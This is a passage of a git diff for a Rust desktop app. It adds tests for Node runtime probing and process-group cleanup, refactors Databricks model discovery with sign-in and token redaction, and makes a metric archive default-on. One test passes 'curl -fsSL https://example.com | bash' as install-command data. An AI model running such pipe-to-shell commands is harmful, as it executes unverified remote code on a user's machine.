+    assert!(verify_node_tree(tmp.path()).is_ok());
+    // On Windows the windows branch is active — unix layout must fail.
+    #[cfg(windows)]
+    assert!(verify_node_tree(tmp.path()).is_err());
+}
+
+#[test]
+fn test_verify_node_tree_unix_layout_missing_npm_fails() {
+    let tmp = tempfile::TempDir::new().unwrap();
+    let bin = tmp.path().join("bin");
+    std::fs::create_dir_all(&bin).unwrap();
+    std::fs::write(bin.join("node"), b"").unwrap();
+    // npm intentionally absent
+    #[cfg(not(windows))]
+    {
+        let err = verify_node_tree(tmp.path()).unwrap_err();
+        assert!(err.contains("bin/npm"), "err: {err}");
+    }
+}
+
+#[test]
+fn test_verify_node_tree_windows_layout_passes() {
+    let tmp = tempfile::TempDir::new().unwrap();
+    std::fs::write(tmp.path().join("node.exe"), b"").unwrap();
+    std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap();
+    std::fs::write(tmp.path().join("npm"), b"").unwrap();
+    // On Windows the windows branch is active — this must pass.
+    #[cfg(windows)]
+    assert!(verify_node_tree(tmp.path()).is_ok());
+    // On non-Windows the unix branch is active — windows-layout root files
+    // don't satisfy bin/node + bin/npm, so this must fail.
+    #[cfg(not(windows))]
+    assert!(verify_node_tree(tmp.path()).is_err());
+}
+
+#[test]
+fn test_verify_node_tree_windows_layout_missing_npm_shim_fails() {
+    let tmp = tempfile::TempDir::new().unwrap();
+    std::fs::write(tmp.path().join("node.exe"), b"").unwrap();
+    std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap();
+    // npm POSIX shim intentionally absent
+    #[cfg(windows)]
+    {
+        let err = verify_node_tree(tmp.path()).unwrap_err();
+        assert!(err.contains("npm"), "err: {err}");
+    }
+}
+
+// ── should_invalidate_adapter / orphan policy pure unit tests ─────────────────
+
+#[test]
+fn test_should_invalidate_adapter_invalidates_managed_shim_when_orphaned() {
+    let prefix = std::path::Path::new("/managed/npm/bin");
+    let shim = prefix.join("codex-acp");
+    assert!(
+        should_invalidate_adapter(&shim, prefix, true),
+        "managed shim + orphaned runtime must be invalidated"
+    );
+}
+
+#[test]
+fn test_should_invalidate_adapter_keeps_external_adapter_when_orphaned() {
+    let prefix = std::path::Path::new("/managed/npm/bin");
+    let external = std::path::Path::new("/usr/local/bin/codex-acp");
+    assert!(
+        !should_invalidate_adapter(external, prefix, true),
+        "external adapter must not be invalidated even when Node is orphaned"
+    );
+}
+
+#[test]
+fn test_should_invalidate_adapter_keeps_managed_shim_when_node_healthy() {
+    let prefix = std::path::Path::new("/managed/npm/bin");
+    let shim = prefix.join("codex-acp");
+    assert!(
+        !should_invalidate_adapter(&shim, prefix, false),
+        "managed shim must not be invalidated when Node is healthy"
+    );
+}
+
+#[test]
+fn test_resolve_adapter_path_returns_none_when_binary_absent() {
+    let commands: &[&str] = &["nonexistent-buzz-test-binary-xyz"];
+    let adapter_install_commands: &[&str] = &["curl -fsSL https://example.com | bash"];
+    assert!(
+        resolve_adapter_path(commands, adapter_install_commands).is_none(),
+        "must return None when the command is not on PATH"
+    );
+}
+
+// ── probe_node seam regressions ───────────────────────────────────────────────
+//
+// All four scenarios drive probe_node() directly — the same
+// tempfile/deadline/cleanup/status/version path used by managed_node_runtime_ready.
+// Each test CAN fail if production:
+//   - drops process_group(0)          → descendant-holds-stdout assertion (d) fails
+//                                       (tempfile transport still returns promptly;
+//                                        the sleep survives and kill($!,0) returns 0)
+//   - skips group-kill on a path      → hung-binary test exceeds margin
+//   - ignores exit_status.success()   → nonzero-exit test returns true
+//   - skips version comparison        → wrong-version test returns true
+//
+// Script files are written into a TempDir (no open write fd at spawn time)
+// to avoid ETXTBSY on Linux.
+
+/// Scenario 1 — descendant holds stdout write-end, direct child exits immediately.
+///
+/// The script backgrounds a 60-second sleep (inheriting stdout), records both the
+/// script's own PID (`$$`) and the sleep's PID (`$!`) to sidecar files, then exits
+/// with the expected version string.  Four assertions:
+///   (a) bounded return — would hang ~60 s if tempfile transport regressed to pipe;
+///   (b) correct result;
+///   (c) process group dead after return — catches skipped-cleanup-on-success: if
+///       the group-kill is absent but `process_group(0)` is still present, a live
+///       member in the group is detectable;
+///   (d) descendant PID dead after return — catches dropped `process_group(0)`: if
+///       the call is removed the sleep stays in the runner's group (not the probe's),
+///       `kill(-pgid,0)` is vacuously ESRCH, but `kill(desc_pid,0)` returns 0 and
+///       this assertion fails.  This is the canonical mutation for (c).
+#[cfg(unix)]
+#[test]
+fn test_probe_node_descendant_holds_stdout_returns_promptly_and_kills_group() {
+    use std::os::unix::fs::PermissionsExt;
+    let tmp_dir = tempfile::TempDir::new().unwrap();
+    let script = tmp_dir.path().join("probe.sh");
+    let pgid_file = tmp_dir.path().join("pgid");
+    let desc_pid_file = tmp_dir.path().join("desc_pid");
+    let pgid_file_path = pgid_file.to_str().unwrap().to_owned();
+    let desc_pid_file_path = desc_pid_file.to_str().unwrap().to_owned();
+    // Line 1 of script: record the script's own PID (= PGID after process_group(0)).
+    // Line 2: background the sleep and record its PID.
+    // Line 3: emit the expected version and exit so the direct child exits promptly.
+    let script_content = format!(
+        "#!/bin/sh\necho $$ > {pgid_file_path}\n/bin/sleep 60 &\necho $! > {desc_pid_file_path}\necho v24.18.0\nexit 0\n"
+    );
+    std::fs::write(&script, script_content.as_bytes()).unwrap();
+    std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap();
+
+    let probe_timeout = std::time::Duration::from_secs(3);
+    let t = std::time::Instant::now();
+    let result = probe_node(&script, "v24.18.0", probe_timeout);
+    let elapsed = t.elapsed();
+
+    // Give the group-kill a moment to propagate before checking liveness.
+    std::thread::sleep(std::time::Duration::from_millis(200));
+
+    // (a) bounded return — tempfile transport must not hang on the descendant's
+    //     retained pipe write-end.
+    assert!(
+        elapsed < probe_timeout + std::time::Duration::from_secs(2),
+        "probe_node hung — likely descendant retained pipe write-end: elapsed {elapsed:?}"
+    );
+    // (b) correct result
+    assert!(result, "probe_node must return true for matching version");
+
+    // (c) process group dead — catches skipped-cleanup: if the group-kill on the
+    //     success path is removed while process_group(0) is still present, the
+    //     sleep remains in the probe's group and kill(-pgid,0) returns 0.
+    let pgid_str = std::fs::read_to_string(&pgid_file)
+        .expect("script must have written its PID to the pgid sidecar");
+    let pgid: i32 = pgid_str
+        .trim()
+        .parse()
+        .expect("pgid sidecar must contain a numeric PID");
+    let group_alive = unsafe { libc::kill(-pgid, 0) } == 0;
+    assert!(
+        !group_alive,
+        "process group {pgid} must be dead after probe_node"
+    );
+
+    // (d) descendant PID dead — catches dropped process_group(0): without that
+    //     call the sleep is never in the probe's group, so kill(-pgid,0) is
+    //     vacuously ESRCH while the sleep survives.  Asserting the descendant's
+    //     own PID is dead proves the sleep was actually killed.
+    let desc_pid_str = std::fs::read_to_string(&desc_pid_file)
+        .expect("script must have written the sleep PID to the desc_pid sidecar");
+    let desc_pid: libc::pid_t = desc_pid_str
+        .trim()
+        .parse()
+        .expect("desc_pid sidecar must contain a numeric PID");
+    // Pre-assert cleanup: if the descendant is somehow still alive, kill it so
+    // a failing test does not leave a 60-second sleep in the runner's process group.
+    let desc_alive = unsafe { libc::kill(desc_pid, 0) } == 0;
+    if desc_alive {
+        unsafe { libc::kill(desc_pid, libc::SIGKILL) };
+    }
+    assert!(
+        !desc_alive,
+        "descendant PID {desc_pid} must be dead after probe_node — \
+         if process_group(0) is dropped, the sleep escapes into the runner's group \
+         and is never killed by the group-kill"
+    );
+}
+
+/// Scenario 2 — direct hang: probe_node must traverse the real try_wait
+/// deadline and return false.  Does NOT call kill_probe_group directly.
+///
+/// This test FAILS if the deadline loop in probe_node is broken or if the
+/// timeout/kill path is not exercised (e.g., missing group-kill exits the
+/// loop early via a different mechanism).
+#[cfg(unix)]
+#[test]
+fn test_probe_node_times_out_on_hung_binary() {
+    use std::os::unix::fs::PermissionsExt;
+    let tmp_dir = tempfile::TempDir::new().unwrap();
+    let script = tmp_dir.path().join("hung.sh");
+    std::fs::write(&script, b"#!/bin/sh\n/bin/sleep 30\n").unwrap();
+    std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap();
+
+    let probe_timeout = std::time::Duration::from_secs(3);
+    let t = std::time::Instant::now();
+    let result = probe_node(&script, "v24.18.0", probe_timeout);
+    let elapsed = t.elapsed();
+
+    assert!(!result, "probe_node must return false for a hung binary");
+    // Must have traversed the deadline (not returned early via a bug).
+    assert!(
+        elapsed >= probe_timeout,
+        "probe_node returned before deadline: {elapsed:?} < {probe_timeout:?}"
+    );
+    // Must not hang past the deadline by more than the poll interval + margin.
+    assert!(
+        elapsed < probe_timeout + std::time::Duration::from_secs(3),
+        "probe_node exceeded deadline by too much: {elapsed:?}"
+    );
+}
+
+/// Scenario 3 — non-zero exit: probe_node must return false even when stdout
+/// contains the expected version string.
+///
+/// This test FAILS if probe_node skips or inverts the exit_status.success() check.
+#[cfg(unix)]
+#[test]
+fn test_probe_node_returns_false_on_nonzero_exit() {
+    use std::os::unix::fs::PermissionsExt;
+    let tmp_dir = tempfile::TempDir::new().unwrap();
+    let script = tmp_dir.path().join("fail.sh");
+    // Prints the expected version string but exits non-zero.
+    std::fs::write(&script, b"#!/bin/sh\necho v24.18.0\nexit 1\n").unwrap();
+    std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap();
+
+    let result = probe_node(&script, "v24.18.0", std::time::Duration::from_secs(3));
+    assert!(
+        !result,
+        "probe_node must return false when the process exits non-zero"
+    );
+}
+
+/// Scenario 4 — wrong version output: probe_node must return false when stdout
+/// does not match expected_version.
+///
+/// This test FAILS if probe_node skips or incorrectly performs the version comparison.
+#[cfg(unix)]
+#[test]
+fn test_probe_node_returns_false_on_wrong_version_output() {
+    use std::os::unix::fs::PermissionsExt;
+    let tmp_dir = tempfile::TempDir::new().unwrap();
+    let script = tmp_dir.path().join("wrongver.sh");
+    std::fs::write(&script, b"#!/bin/sh\necho v99.0.0\nexit 0\n").unwrap();
+    std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap();
+
+    let result = probe_node(&script, "v24.18.0", std::time::Duration::from_secs(3));
+    assert!(
+        !result,
+        "probe_node must return false when stdout version does not match expected"
+    );
+}
+
+/// Windows-shaped seam: non-zero exit via .bat file.
+///
+/// Drives the same probe_node path on Windows (terminate_process / taskkill /T /F).
+/// This test FAILS if probe_node ignores exit_status.success() on Windows.
+#[cfg(windows)]
+#[test]
+fn test_probe_node_windows_returns_false_on_nonzero_exit() {
+    let tmp_dir = tempfile::TempDir::new().unwrap();
+    let bat = tmp_dir.path().join("fail.bat");
+    // Prints the expected version but exits non-zero — must still fail.
+    std::fs::write(&bat, b"@echo off\r\necho v24.18.0\r\nexit /b 1\r\n").unwrap();
+
+    let result = probe_node(&bat, "v24.18.0", std::time::Duration::from_secs(3));
+    assert!(
+        !result,
+        "probe_node must return false when the .bat exits non-zero (Windows)"
+    );
+}
+
+/// Windows-shaped seam: wrong version output via .bat file.
+///
+/// This test FAILS if probe_node skips the version comparison on Windows.
+#[cfg(windows)]
+#[test]
+fn test_probe_node_windows_returns_false_on_wrong_version_output() {
+    let tmp_dir = tempfile::TempDir::new().unwrap();
+    let bat = tmp_dir.path().join("wrongver.bat");
+    std::fs::write(&bat, b"@echo off\r\necho v99.0.0\r\nexit /b 0\r\n").unwrap();
+
+    let result = probe_node(&bat, "v24.18.0", std::time::Duration::from_secs(3));
+    assert!(
+        !result,
+        "probe_node must return false when stdout version does not match (Windows)"
+    );
+}
+
+/// Returns false when the node binary path does not exist (fast path, no spawn).
+#[test]
+fn test_managed_node_runtime_ready_returns_false_when_binary_absent() {
+    let Some(node) = crate::managed_agents::buzz_managed_node_bin_path() else {
+        assert!(
+            !managed_node_runtime_ready(),
+            "managed_node_runtime_ready must return false when no path resolves"
+        );
+        return;
+    };
+    if node.is_file() {
+        return;
+    }
+    assert!(
+        !managed_node_runtime_ready(),
+        "managed_node_runtime_ready must return false when the binary file does not exist"
+    );
+}
diff --git a/desktop/src-tauri/src/commands/agent_metric_archive.rs b/desktop/src-tauri/src/commands/agent_metric_archive.rs
index 43cfc7b082..77de870871 100644
--- a/desktop/src-tauri/src/commands/agent_metric_archive.rs
+++ b/desktop/src-tauri/src/commands/agent_metric_archive.rs
@@ -1,35 +1,18 @@
-//! Build-time flag for agent-turn-metric archive default.
+//! Agent-turn-metric archive default — always enabled.
 //!
-//! When `BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT` is set at build time
-//! (internal builds), `agent_metric_archive_default_enabled()` returns `true`
-//! and the frontend auto-seeds an `owner_p` save subscription for kind 44200
-//! (agent turn metrics) on first run for the current identity.
-//!
-//! OSS builds (env var unset) return `false` — no auto-seeding, user opts in
-//! manually via the Local Archive settings card.
+//! `agent_metric_archive_default_enabled()` returns `true` unconditionally.
+//! The frontend calls this once at startup to decide whether to seed the
+//! `owner_p` [44200] save subscription for the current identity on first run.
+//! The `hasExplicitChoice` guard in the TS seed hook ensures a user who has
+//! explicitly opted out remains opted out.
 
-/// Returns `true` when an internal build has agent-turn-metric archive
-/// default-on.
+/// Returns `true`: agent-turn-metric archive defaults to enabled for all builds.
 ///
-/// The frontend calls this once at startup to decide whether to seed the
-/// `owner_p` [44200] save subscription. The result is stable for the lifetime
-/// of the binary — it is baked at compile time.
+/// The frontend uses this to decide whether to auto-seed an `owner_p` [44200]
+/// save subscription on first run. Existing explicit choices (stored in
+/// localStorage per identity) are preserved by the seed hook's `hasExplicitChoice`
+/// guard — this default only applies to identities that have never made a choice.
 #[tauri::command]
 pub fn agent_metric_archive_default_enabled() -> bool {
-    option_env!("BUZZ_DESKTOP_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT").is_some()
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn test_agent_metric_archive_default_enabled_returns_false_in_oss_build() {
-        // In a standard OSS/test build (no BUZZ_DESKTOP_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT
-        // baked in), this must return false.
-        assert!(
-            !agent_metric_archive_default_enabled(),
-            "expected false in OSS/test build"
-        );
-    }
+    true
 }
diff --git a/desktop/src-tauri/src/commands/agent_models.rs b/desktop/src-tauri/src/commands/agent_models.rs
index 7ce03b140b..4704582372 100644
--- a/desktop/src-tauri/src/commands/agent_models.rs
+++ b/desktop/src-tauri/src/commands/agent_models.rs
@@ -137,6 +137,7 @@ pub async fn get_agent_models(
         &effective_provider,
         &merged_env,
         persisted_model.clone(),
+        DatabricksAuthIntent::InteractiveModelPicker,
     )
     .await?
     {
@@ -307,9 +308,14 @@ pub async fn discover_agent_models(
         return Ok(models);
     }
 
-    if let Some(models) =
-        discover_databricks_models(&state.http_client, &effective_provider, &merged_env, None)
-            .await?
+    if let Some(models) = discover_databricks_models(
+        &state.http_client,
+        &effective_provider,
+        &merged_env,
+        None,
+        DatabricksAuthIntent::PassiveDraftDiscovery,
+    )
+    .await?
     {
         return Ok(models);
     }
@@ -681,97 +687,14 @@ async fn discover_anthropic_models(
     }))
 }
 
-// ---------------------------------------------------------------------------
-// Databricks model discovery (v1 + v2)
-// ---------------------------------------------------------------------------
-//
-// Delegates to buzz_agent_pkg::catalog::discover_databricks_models, which
-// acquires auth in-process via build_token_source:
-//   - Static bearer (DATABRICKS_TOKEN): returned immediately.
-//   - PKCE cache hit: returned from disk without a browser flow.
-//   - No token, no cache: returns Err(LlmAuth) → we return Ok(None) and fall
-//     through to run_agent_models_command. Never hangs, never opens a browser.
-
-fn is_databricks_provider(provider: Option<&str>) -> bool {
-    matches!(
-        provider
-            .map(str::trim)
-            .map(str::to_ascii_lowercase)
-            .as_deref(),
-        Some("databricks" | "databricks_v2" | "databricks-v2")
-    )
-}
-
-fn databricks_agent_provider(provider: &str) -> buzz_agent_pkg::config::Provider {
-    if provider.trim().eq_ignore_ascii_case("databricks_v2")
-        || provider.trim().eq_ignore_ascii_case("databricks-v2")
-    {
-        buzz_agent_pkg::config::Provider::DatabricksV2
-    } else {
-        buzz_agent_pkg::config::Provider::Databricks
-    }
-}
-
-async fn discover_databricks_models(
-    _client: &reqwest::Client,
-    provider: &DiscoveryProvider,
-    env: &BTreeMap<String, String>,
-    selected_model: Option<String>,
-) -> Result<Option<AgentModelsResponse>, String> {
-    let provider_str = match provider.as_deref() {
-        Some(p) if is_databricks_provider(Some(p)) => p,
-        _ => return Ok(None),
-    };
-
-    let host = match env_or_process_value(env, "DATABRICKS_HOST") {
-        Some(h) => h,
-        None => return Ok(None), // no host → fall through to subprocess
-    };
-
-    // api_key = DATABRICKS_TOKEN (empty string = use PKCE cache).
-    let api_key = env_or_process_value(env, "DATABRICKS_TOKEN").unwrap_or_default();
-
-    let agent_provider = databricks_agent_provider(provider_str);
-    let cfg = buzz_agent_pkg::config::Config::for_discovery(agent_provider, api_key, host);
-
-    // Build a redaction env so the token never appears in surfaced errors.
-    let token_for_redact = env_or_process_value(env, "DATABRICKS_TOKEN").unwrap_or_default();
-    let redaction_env = redaction_env_with_value(env, "DATABRICKS_TOKEN", &token_for_redact);
-
-    let entries = match buzz_agent_pkg::discover_databricks_models(&cfg).await {
-        Ok(e) => e,
-        Err(buzz_agent_pkg::AgentError::LlmAuth(_)) => {
-            // No token + no PKCE cache → fall through to subprocess.
-            return Ok(None);
-        }
-        Err(e) => {
-            let msg = crate::managed_agents::redact_env_values_in(&e.to_string(), &redaction_env);
-            return Err(format!("Databricks model discovery failed: {msg}"));
-        }
-    };
-
-    if entries.is_empty() {
-        return Err("Databricks model discovery returned no models".to_string());
-    }
-
-    let models = entries
-        .into_iter()
-        .map(|e| AgentModelInfo {
-            id: e.id,
-            name: Some(e.name),
-            description: None,
-        })
-        .collect();
-
-    Ok(Some(AgentModelsResponse {
-        agent_name: provider_str.trim().to_string(),
-        agent_version: "models-api".to_string(),
-        models,
-        agent_default_model: None,
-        selected_model,
-        supports_switching: true,
-    }))
-}
+#[path = "agent_models_databricks.rs"]
+mod databricks;
+#[cfg(test)]
+use databricks::{
+    databricks_sign_in_required_error, databricks_static_token_error, is_databricks_provider,
+    should_start_interactive_auth,
+};
+use databricks::{discover_databricks_models, DatabricksAuthIntent};
 
 /// Apply an `UpdateManagedAgentRequest`'s model/provider/system_prompt patch
 /// to `record`, enforcing the linked-instance write guard: a definition-linked
diff --git a/desktop/src-tauri/src/commands/agent_models_databricks.rs b/desktop/src-tauri/src/commands/agent_models_databricks.rs
new file mode 100644
index 0000000000..63b4564e61
--- /dev/null
+++ b/desktop/src-tauri/src/commands/agent_models_databricks.rs
@@ -0,0 +1,174 @@
+//! Databricks v1/v2 model discovery and interactive reauthentication.
+
+use std::collections::BTreeMap;
+use std::sync::LazyLock;
+
+use crate::commands::agent_models_env::{
+    env_or_process_value, redaction_env_with_value, DiscoveryProvider,
+};
+use crate::managed_agents::AgentModelInfo;
+use crate::managed_agents::AgentModelsResponse;
+
+// Model discovery can be triggered by multiple dialogs at once. Permit only one
+// callback listener/browser flow for the process-wide OAuth cache.
+static AUTH_GATE: LazyLock<tokio::sync::Mutex<()>> = LazyLock::new(|| tokio::sync::Mutex::new(()));
+
+pub(super) fn is_databricks_provider(provider: Option<&str>) -> bool {
+    matches!(
+        provider
+            .map(str::trim)
+            .map(str::to_ascii_lowercase)
+            .as_deref(),
+        Some("databricks" | "databricks_v2" | "databricks-v2")
+    )
+}
+
+fn databricks_agent_provider(provider: &str) -> buzz_agent_pkg::config::Provider {
+    if provider.trim().eq_ignore_ascii_case("databricks_v2")
+        || provider.trim().eq_ignore_ascii_case("databricks-v2")
+    {
+        buzz_agent_pkg::config::Provider::DatabricksV2
+    } else {
+        buzz_agent_pkg::config::Provider::Databricks
+    }
+}
+
+pub(super) fn databricks_static_token_error(
+    error: &str,
+    redaction_env: &BTreeMap<String, String>,
+) -> String {
+    let message = crate::managed_agents::redact_env_values_in(error, redaction_env);
+    format!("Databricks rejected DATABRICKS_TOKEN; update it in agent settings: {message}")
+}
+
+#[derive(Clone, Copy, Debug, Eq, PartialEq)]
+pub(super) enum DatabricksAuthIntent {
+    /// A saved agent's model picker was opened by the user.
+    InteractiveModelPicker,
+    /// Discovery was triggered automatically from unsaved form state.
+    PassiveDraftDiscovery,
+}
+
+impl DatabricksAuthIntent {
+    fn allows_interactive_auth(self) -> bool {
+        matches!(self, Self::InteractiveModelPicker)
+    }
+}
+
+pub(super) fn databricks_sign_in_required_error() -> String {
+    "Databricks sign-in is required; save this agent, then open its model picker to sign in, or run `buzz-agent auth databricks`"
+        .to_string()
+}
+
+pub(super) fn should_start_interactive_auth(
+    api_key: &str,
+    auth_intent: DatabricksAuthIntent,
+) -> bool {
+    api_key.is_empty() && auth_intent.allows_interactive_auth()
+}
+
+pub(super) async fn discover_databricks_models(
+    _client: &reqwest::Client,
+    provider: &DiscoveryProvider,
+    env: &BTreeMap<String, String>,
+    selected_model: Option<String>,
+    auth_intent: DatabricksAuthIntent,
+) -> Result<Option<AgentModelsResponse>, String> {
+    let provider_name = match provider.as_deref() {
+        Some(provider_name) if is_databricks_provider(Some(provider_name)) => provider_name,
+        _ => return Ok(None),
+    };
+
+    let host = match env_or_process_value(env, "DATABRICKS_HOST") {
+        Some(host) => host,
+        None => return Ok(None),
+    };
+    let api_key = env_or_process_value(env, "DATABRICKS_TOKEN").unwrap_or_default();
+    let config = buzz_agent_pkg::config::Config::for_discovery(
+        databricks_agent_provider(provider_name),
+        api_key.clone(),
+        host.clone(),
+    );
+    let redaction_env = redaction_env_with_value(env, "DATABRICKS_TOKEN", &api_key);
+
+    let entries = match buzz_agent_pkg::discover_databricks_models(&config).await {
+        Ok(entries) => entries,
+        Err(buzz_agent_pkg::AgentError::LlmAuth(_))
+            if should_start_interactive_auth(&api_key, auth_intent) =>
+        {
+            let _auth = AUTH_GATE.lock().await;
+            match buzz_agent_pkg::discover_databricks_models(&config).await {
+                Ok(entries) => entries,
+                Err(buzz_agent_pkg::AgentError::LlmAuth(_)) => {
+                    buzz_agent_pkg::authenticate_databricks(&host)
+                        .await
+                        .map_err(|error| {
+                            format_redacted_error(
+                                "Databricks sign-in failed",
+                                &error,
+                                &redaction_env,
+                            )
+                        })?;
+                    buzz_agent_pkg::discover_databricks_models(&config)
+                        .await
+                        .map_err(|error| {
+                            format_redacted_error(
+                                "Databricks model discovery failed after sign-in",
+                                &error,
+                                &redaction_env,
+                            )
+                        })?
+                }
+                Err(error) => {
+                    return Err(format_redacted_error(
+                        "Databricks model discovery failed",
+                        &error,
+                        &redaction_env,
+                    ));
+                }
+            }
+        }
+        Err(buzz_agent_pkg::AgentError::LlmAuth(error)) if !api_key.is_empty() => {
+            return Err(databricks_static_token_error(&error, &redaction_env));
+        }
+        Err(buzz_agent_pkg::AgentError::LlmAuth(_)) => {
+            return Err(databricks_sign_in_required_error());
+        }
+        Err(error) => {
+            return Err(format_redacted_error(
+                "Databricks model discovery failed",
+                &error,
+                &redaction_env,
+            ));
+        }
+    };
+
+    if entries.is_empty() {
+        return Err("Databricks model discovery returned no models".to_string());
+    }
+
+    Ok(Some(AgentModelsResponse {
+        agent_name: provider_name.trim().to_string(),
+        agent_version: "models-api".to_string(),
+        models: entries
+            .into_iter()
+            .map(|entry| AgentModelInfo {
+                id: entry.id,
+                name: Some(entry.name),
+                description: None,
+            })
+            .collect(),
+        agent_default_model: None,
+        selected_model,
+        supports_switching: true,
+    }))
+}
+
+fn format_redacted_error(
+    context: &str,
+    error: &impl std::fmt::Display,
+    redaction_env: &BTreeMap<String, String>,
+) -> String {
+    let message = crate::managed_agents::redact_env_values_in(&error.to_string(), redaction_env);
+    format!("{context}: {message}")
+}
diff --git a/desktop/src-tauri/src/commands/agent_models_tests.rs b/desktop/src-tauri/src/commands/agent_models_tests.rs
index 14c981d730..e7d0e70fd0 100644
--- a/desktop/src-tauri/src/commands/agent_models_tests.rs
+++ b/desktop/src-tauri/src/commands/agent_models_tests.rs
@@ -576,6 +576,29 @@ fn is_databricks_provider_matches_both_variants() {
     assert!(!is_databricks_provider(None));
 }
 
+#[test]
+fn databricks_interactive_auth_requires_explicit_intent_and_no_static_token() {
+    assert!(should_start_interactive_auth(
+        "",
+        DatabricksAuthIntent::InteractiveModelPicker
+    ));
+    assert!(!should_start_interactive_auth(
+        "",
+        DatabricksAuthIntent::PassiveDraftDiscovery
+    ));
+    assert!(!should_start_interactive_auth(
+        "static-token",
+        DatabricksAuthIntent::InteractiveModelPicker
+    ));
+}
+
+#[test]
+fn databricks_passive_auth_error_has_reachable_create_flow_guidance() {
+    let error = databricks_sign_in_required_error();
+    assert!(error.contains("save this agent, then open its model picker"));
+    assert!(error.contains("buzz-agent auth databricks"));
+}
+
 #[test]
 fn model_discovery_error_converts_dangling_sentinel_to_sentence() {
     // get_agent_models is a user-facing surface: a dangling harness must
@@ -881,3 +904,21 @@ fn draft_agent_model_discovery_env_layers_all_three_tiers_in_order() {
         );
     }
 }
+
+#[test]
+fn databricks_static_token_error_redacts_echoed_token() {
+    let token = "secret-databricks-token";
+    let redaction_env = BTreeMap::from([("DATABRICKS_TOKEN".to_string(), token.to_string())]);
+
+    let error = databricks_static_token_error(
+        &format!("Databricks rejected bearer {token}"),
+        &redaction_env,
+    );
+
+    assert!(error.contains("[REDACTED]"), "got: {error}");
+    assert!(!error.contains(token), "token leaked in error: {error}");
+    assert!(
+        error.contains("update it in agent settings"),
+        "error lost its remediation: {error}"
+    );
+}
diff --git a/desktop/src-tauri/src/commands/agents.rs b/desktop/src-tauri/src/commands/agents.rs
index 0758fc3aac..dd61fc9398 100644
--- a/desktop/src-tauri/src/commands/agents.rs
+++ b/desktop/src-tauri/src/commands/agents.rs
@@ -1355,14 +1355,14 @@ pub async fn delete_managed_agent(
 // 2. Harness sees it, exits gracefully, sets presence to "offline"
 // 3. Desktop's existing presence polling sees "offline" — UI updates automatically
 // No backend Tauri command needed. Presence IS the status.
-
 #[path = "agents_deploy.rs"]
 mod deploy;
+pub(super) mod provider_access;
 use deploy::build_deploy_payload;
 #[cfg(test)]
-use deploy::deploy_payload_json;
+use deploy::{deploy_payload_json, DeployProjections};
 #[cfg(test)]
-pub(crate) use deploy::resolve_deploy_model_provider;
+use deploy::{ensure_remote_provider_supported, resolve_deploy_model_provider};
 
 #[path = "agents_profile.rs"]
 mod profile;
diff --git a/desktop/src-tauri/src/commands/agents/provider_access.rs b/desktop/src-tauri/src/commands/agents/provider_access.rs
new file mode 100644
index 0000000000..467230e56f
--- /dev/null
+++ b/desktop/src-tauri/src/commands/agents/provider_access.rs
@@ -0,0 +1,196 @@
+//! Upgrade reconciliation for provider-backed managed-agent access.
+
+use tauri::AppHandle;
+
+use crate::{
+    app_state::AppState,
+    managed_agents::{
+        find_managed_agent_mut, load_managed_agents, save_managed_agents, BackendKind,
+        ManagedAgentRecord,
+    },
+    util::now_iso,
+};
+
+pub(super) fn needs_reconciliation_with_policy(
+    record: &ManagedAgentRecord,
+    owner_only_access: bool,
+) -> bool {
+    owner_only_access && record.backend != BackendKind::Local && record.backend_agent_id.is_some()
+}
+
+#[derive(Debug)]
+struct ProviderAccessTarget {
+    pubkey: String,
+    provider_id: String,
+    config: serde_json::Value,
+    cached_binary_path: Option<String>,
+    agent_json: Result<serde_json::Value, String>,
+}
+
+fn collect_targets_with(
+    records: Vec<ManagedAgentRecord>,
+    owner_only_access: bool,
+    mut build_payload: impl FnMut(&ManagedAgentRecord) -> Result<serde_json::Value, String>,
+) -> Vec<ProviderAccessTarget> {
+    records
+        .into_iter()
+        .filter(|record| needs_reconciliation_with_policy(record, owner_only_access))
+        .map(|record| match record.backend.clone() {
+            BackendKind::Provider { id, config } => ProviderAccessTarget {
+                agent_json: build_payload(&record),
+                pubkey: record.pubkey,
+                provider_id: id,
+                config,
+                cached_binary_path: record.provider_binary_path,
+            },
+            BackendKind::Local => {
+                unreachable!("provider access reconciliation selected a local agent")
+            }
+        })
+        .collect()
+}
+
+/// Redeploy every existing provider agent in an owner-only access build.
+///
+/// The saved `backend_agent_id` only proves that some provider deployment
+/// exists. A marked build sends the current owner-only payload before each
+/// community UI load. Workspace apply fails closed if any provider rejects it.
+pub(crate) async fn reconcile_on_workspace_apply(
+    app: &AppHandle,
+    state: &AppState,
+) -> Result<(), String> {
+    if !crate::managed_agents::owner_only_access_build() {
+        return Ok(());
+    }
+
+    let targets = {
+        let _store_guard = state
+            .managed_agents_store_lock
+            .lock()
+            .map_err(|error| error.to_string())?;
+        collect_targets_with(load_managed_agents(app)?, true, |record| {
+            super::build_deploy_payload(app, state, record)
+        })
+    };
+
+    for target in targets {
+        let ProviderAccessTarget {
+            pubkey,
+            provider_id,
+            config,
+            cached_binary_path,
+            agent_json,
+        } = target;
+        let agent_json = match agent_json {
+            Ok(agent_json) => agent_json,
+            Err(error) => {
+                persist_failure(app, state, &pubkey, &error)?;
+                return Err(format!(
+                    "provider access reconciliation failed for agent {pubkey}: {error}"
+                ));
+            }
+        };
+        if let Err(error) = super::deploy_to_provider(
+            app,
+            state,
+            &pubkey,
+            &provider_id,
+            &config,
+            agent_json,
+            cached_binary_path.as_deref(),
+        )
+        .await
+        {
+            return Err(format!(
+                "provider access reconciliation failed for agent {pubkey}: {error}"
+            ));
+        }
+    }
+
+    Ok(())
+}
+
+fn persist_failure(
+    app: &AppHandle,
+    state: &AppState,
+    pubkey: &str,
+    error: &str,
+) -> Result<(), String> {
+    let _store_guard = state
+        .managed_agents_store_lock
+        .lock()
+        .map_err(|lock_error| lock_error.to_string())?;
+    let mut records = load_managed_agents(app)?;
+    let record = find_managed_agent_mut(&mut records, pubkey)?;
+    record.last_error = Some(error.to_string());
+    record.updated_at = now_iso();
+    save_managed_agents(app, &records)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
